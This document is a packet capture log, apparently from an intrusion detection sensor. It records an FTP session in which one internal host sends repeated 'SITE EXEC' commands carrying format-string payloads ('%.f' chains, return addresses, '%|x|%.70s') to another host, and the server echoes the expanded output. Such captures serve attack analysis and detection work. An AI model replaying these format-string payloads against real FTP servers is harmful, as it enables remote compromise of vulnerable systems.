66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
64 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F d_______________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 25 25 7C 78 7C 25 2E 37 30 _______%%|x|%.70
73 27 29 0D 0A s')..
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:34.879443 0:50:56:40:59:65 -> 0:50:56:40:59:66 type:0x800
len:0x42
10.XXX.XXX.53:1039 -> 10.XXX.XXX.51:21 TCP TTL:64 TOS:0x0 ID:1276 IpLen:20
DgmLen:52 DF
***A**** Seq: 0xC9874275 Ack:
0x4DD72747 Win: 0x7C70 TcpLen: 32
TCP Options (3) => NOP NOP TS: 488820 490807
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:34.881037 0:50:56:40:59:65 -> 0:50:56:40:59:66 type:0x800
len:0x241
10.XXX.XXX.53:1039 -> 10.XXX.XXX.51:21 TCP TTL:64 TOS:0x0 ID:1277 IpLen:20
DgmLen:563 DF
***AP*** Seq: 0xC9874275 Ack:
0x4DD72747 Win: 0x7C70 TcpLen: 32
TCP Options (3) => NOP NOP TS: 488820 490807
53 49 54 45 20 45 58 45 43 20 37 20 82 DE FF FF SITE EXEC 7 ....
BF 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 .%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 64 5F 5F %.f%.f%.f%.f%d__
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 25 25 7C 78 7C 25 2E 37 30 73 0A ____%%|x|%.70s.
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:34.883983 0:50:56:40:59:66 -> 0:50:56:40:59:65 type:0x800
len:0x2EE
10.XXX.XXX.51:21 -> 10.XXX.XXX.53:1039 TCP TTL:64 TOS:0x10 ID:12105 IpLen:20
DgmLen:736 DF
***AP*** Seq: 0x4DD72747 Ack:
0xC9874474 Win: 0x7D78 TcpLen: 32
TCP Options (3) => NOP NOP TS: 490814 488820
32 30 30 2D 37 20 82 DE FF BF 2D 32 2D 32 30 30 200-7 ....-2-200
30 2D 32 30 30 30 30 30 30 30 30 30 30 30 30 30 0-20000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 6E 61 6E 30 30 30 30 30 30 30 30 2D 0000nan00000000-
32 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 2000000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 30 30 30 2D 32 2D 32 34 00000000000-2-24
30 6E 61 6E 30 33 34 36 2D 32 30 30 37 33 34 30 0nan0346-2007340
33 38 36 34 34 32 37 32 34 33 35 30 34 31 31 33 3864427243504113
38 32 35 37 38 36 30 37 34 35 39 33 31 38 36 39 8257860745931869
31 37 33 33 33 30 37 32 38 37 36 39 32 34 39 36 1733307287692496
32 33 35 36 38 39 39 37 39 31 37 32 32 39 33 31 2356899791722931
35 36 37 33 30 36 39 39 34 35 31 31 33 39 33 32 5673069945113932
37 32 30 38 37 39 35 38 34 36 37 39 31 39 32 34 7208795846791924
39 39 37 35 38 36 30 32 36 34 32 32 30 33 38 32 9975860264220382
37 35 30 31 39 36 30 37 30 33 33 35 36 39 35 39 7501960703356959
30 30 30 30 32 33 33 32 37 30 36 36 30 36 31 32 0000233270660612
33 33 31 36 34 34 31 35 38 36 37 37 31 33 32 30 3316441586771320
37 36 33 30 37 32 33 30 36 34 31 33 39 37 33 30 7630723064139730
32 38 31 33 32 32 38 37 37 34 38 34 38 35 33 32 2813228774848532
34 30 35 36 33 38 34 37 32 39 35 32 37 38 32 34 4056384729527824
35 30 30 39 37 32 38 34 37 31 30 34 36 33 32 36 5009728471046326
37 37 32 37 36 37 33 31 39 37 35 34 34 31 33 37 7727673197544137
35 39 32 30 36 32 36 32 36 37 37 32 33 34 35 36 5920626267723456
37 38 34 32 30 38 35 34 34 35 33 36 30 36 30 38 7842085445360608
37 35 38 33 35 35 38 34 31 39 31 38 31 35 37 30 7583558419181570
34 36 37 34 36 38 39 32 34 37 30 35 30 37 35 32 4674689247050752
36 37 37 39 33 33 37 31 37 35 32 30 34 30 32 30 6779337175204020
36 32 36 37 39 31 32 37 34 35 31 34 32 31 31 38 6267912745142118
31 37 35 31 33 36 36 30 39 34 37 30 32 38 36 36 1751366094702866
38 35 31 30 32 32 32 31 36 30 36 32 32 30 37 36 8510222160622076
34 30 34 34 32 35 30 33 37 32 39 34 39 36 38 38 4044250372949688
36 33 34 34 39 31 39 31 32 33 34 34 30 34 33 35 6344919123440435
32 33 36 31 36 36 31 31 5F 5F 5F 5F 5F 5F 5F 5F 23616611________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 25 7C ______________%|
78 7C 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F x|______________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
25 25 7C 78 7C 25 2E 37 30 73 0D 0A %%|x|%.70s..
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:34.899487 0:50:56:40:59:65 -> 0:50:56:40:59:66 type:0x800
len:0x42
10.XXX.XXX.53:1039 -> 10.XXX.XXX.51:21 TCP TTL:64 TOS:0x0 ID:1278 IpLen:20
DgmLen:52 DF
***A**** Seq: 0xC9874474 Ack:
0x4DD729F3 Win: 0x7C70 TcpLen: 32
TCP Options (3) => NOP NOP TS: 488822 490814
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:34.899586 0:50:56:40:59:66 -> 0:50:56:40:59:65 type:0x800
len:0x247
10.XXX.XXX.51:21 -> 10.XXX.XXX.53:1039 TCP TTL:64 TOS:0x10 ID:12106 IpLen:20
DgmLen:569 DF
***AP*** Seq: 0x4DD729F3 Ack:
0xC9874474 Win: 0x7D78 TcpLen: 32
TCP Options (3) => NOP NOP TS: 490816 488822
32 30 30 20 20 28 65 6E 64 20 6F 66 20 27 37 20 200 (end of '7
82 DE FF BF 25 2E 66 25 2E 66 25 2E 66 25 2E 66 ....%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
64 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F d_______________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 25 25 7C 78 7C 25 2E 37 30 _______%%|x|%.70
73 27 29 0D 0A
s')..
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:34.999486 0:50:56:40:59:65 -> 0:50:56:40:59:66 type:0x800
len:0x42
10.XXX.XXX.53:1039 -> 10.XXX.XXX.51:21 TCP TTL:64 TOS:0x0 ID:1279 IpLen:20
DgmLen:52 DF
***A**** Seq: 0xC9874474 Ack:
0x4DD72BF8 Win: 0x7C70 TcpLen: 32
TCP Options (3) => NOP NOP TS: 488824 490816
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:35.003518 0:50:56:40:59:65 -> 0:50:56:40:59:66 type:0x800
len:0x241
10.XXX.XXX.53:1039 -> 10.XXX.XXX.51:21 TCP TTL:64 TOS:0x0 ID:1280 IpLen:20
DgmLen:563 DF
***AP*** Seq: 0xC9874474 Ack:
0x4DD72BF8 Win: 0x7C70 TcpLen: 32
TCP Options (3) => NOP NOP TS: 488824 490816
53 49 54 45 20 45 58 45 43 20 37 20 F0 B3 FF FF SITE EXEC 7 ....
BF 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 .%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 64 5F 5F %.f%.f%.f%.f%d__
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 25 25 7C 78 7C 25 2E 37 30 73 0A ____%%|x|%.70s.
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:35.011104 0:50:56:40:59:66 -> 0:50:56:40:59:65 type:0x800
len:0x2C6
10.XXX.XXX.51:21 -> 10.XXX.XXX.53:1039 TCP TTL:64 TOS:0x10 ID:12107 IpLen:20
DgmLen:696 DF
***AP*** Seq: 0x4DD72BF8 Ack:
0xC9874673 Win: 0x7D78 TcpLen: 32
TCP Options (3) => NOP NOP TS: 490827 488824
32 30 30 2D 37 20 F0 B3 FF BF 2D 32 2D 32 30 30 200-7 ....-2-200
30 2D 32 30 30 30 30 30 30 30 30 30 30 30 30 30 0-20000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 6E 61 6E 30 30 30 30 30 30 30 30 2D 0000nan00000000-
32 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 2000000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 30 30 30 2D 32 2D 32 34 00000000000-2-24
30 6E 61 6E 30 33 34 36 2D 32 30 30 37 33 34 30 0nan0346-2007340
33 38 36 34 34 32 37 32 34 33 35 30 34 31 31 33 3864427243504113
38 32 35 37 38 36 30 37 34 35 39 33 31 38 36 39 8257860745931869
31 37 33 33 33 30 37 32 38 37 36 39 32 34 39 36 1733307287692496
32 33 35 36 38 39 39 37 39 31 37 32 32 39 33 31 2356899791722931
35 36 37 33 30 36 39 39 34 35 31 31 33 39 33 32 5673069945113932
37 32 30 38 37 39 35 38 34 36 37 39 31 39 32 34 7208795846791924
39 39 37 35 38 36 30 32 36 34 32 32 30 33 38 32 9975860264220382
37 35 30 31 39 36 30 37 30 33 33 35 36 39 35 39 7501960703356959
30 30 30 30 32 33 33 32 37 30 36 36 30 36 31 32 0000233270660612
33 33 31 36 34 34 31 35 38 36 37 37 31 33 32 30 3316441586771320
37 36 33 30 37 32 33 30 36 34 31 33 39 37 33 30 7630723064139730
32 38 31 33 32 32 38 37 37 34 38 34 38 35 33 32 2813228774848532
34 30 35 36 33 38 34 37 32 39 35 32 37 38 32 34 4056384729527824
35 30 30 39 37 32 38 34 37 31 30 34 36 33 32 36 5009728471046326
37 37 32 37 36 37 33 31 39 37 35 34 34 31 33 37 7727673197544137
35 39 32 30 36 32 36 32 36 37 37 32 33 34 35 36 5920626267723456
37 38 34 32 30 38 35 34 34 35 33 36 30 36 30 38 7842085445360608
37 35 38 33 35 35 38 34 31 39 31 38 31 35 37 30 7583558419181570
34 36 37 34 36 38 39 32 34 37 30 35 30 37 35 32 4674689247050752
36 37 37 39 33 33 37 31 37 35 32 30 34 30 32 30 6779337175204020
36 32 36 37 39 31 32 37 34 35 31 34 32 31 31 38 6267912745142118
31 37 35 31 33 36 36 30 39 34 37 30 32 38 36 36 1751366094702866
38 35 31 30 32 32 32 31 36 30 36 32 32 30 37 36 8510222160622076
34 30 34 34 32 35 30 33 37 32 39 34 39 36 38 38 4044250372949688
36 33 34 34 39 31 39 31 32 33 34 34 30 34 33 35 6344919123440435
32 33 36 31 36 36 31 31 5F 5F 5F 5F 5F 5F 5F 5F 23616611________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 25 7C ______________%|
78 7C 0D 0A x|..
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:35.049556 0:50:56:40:59:65 -> 0:50:56:40:59:66 type:0x800
len:0x42
10.XXX.XXX.53:1039 -> 10.XXX.XXX.51:21 TCP TTL:64 TOS:0x0 ID:1281 IpLen:20
DgmLen:52 DF
***A**** Seq: 0xC9874673 Ack:
0x4DD72E7C Win: 0x7C70 TcpLen: 32
TCP Options (3) => NOP NOP TS: 488827 490827
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:35.049650 0:50:56:40:59:66 -> 0:50:56:40:59:65 type:0x800 len:0x247
10.XXX.XXX.51:21 -> 10.XXX.XXX.53:1039 TCP TTL:64 TOS:0x10 ID:12108 IpLen:20
DgmLen:569 DF
***AP*** Seq: 0x4DD72E7C Ack:
0xC9874673 Win: 0x7D78 TcpLen: 32
TCP Options (3) => NOP NOP TS: 490831 488827
32 30 30 20 20 28 65 6E 64 20 6F 66 20 27 37 20 200 (end of '7
F0 B3 FF BF 25 2E 66 25 2E 66 25 2E 66 25 2E 66 ....%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
64 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F d_______________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 25 25 7C 78 7C 25 2E 37 30 _______%%|x|%.70
73 27 29 0D 0A s')..
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:35.079324 0:50:56:40:59:65 -> 0:50:56:40:59:66 type:0x800
len:0x42
10.XXX.XXX.53:1039 -> 10.XXX.XXX.51:21 TCP TTL:64 TOS:0x0 ID:1282 IpLen:20
DgmLen:52 DF
***A**** Seq: 0xC9874673 Ack:
0x4DD73081 Win: 0x7C70 TcpLen: 32
TCP Options (3) => NOP NOP TS: 488829 490831
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:35.139092 0:50:56:40:59:65 -> 0:50:56:40:59:66 type:0x800
len:0x241
10.XXX.XXX.53:1039 -> 10.XXX.XXX.51:21 TCP TTL:64 TOS:0x0 ID:1283 IpLen:20
DgmLen:563 DF
***AP*** Seq: 0xC9874673 Ack:
0x4DD73081 Win: 0x7C70 TcpLen: 32
TCP Options (3) => NOP NOP TS: 488830 490831
53 49 54 45 20 45 58 45 43 20 37 20 BA B3 FF FF SITE EXEC 7 ....
BF 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 .%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
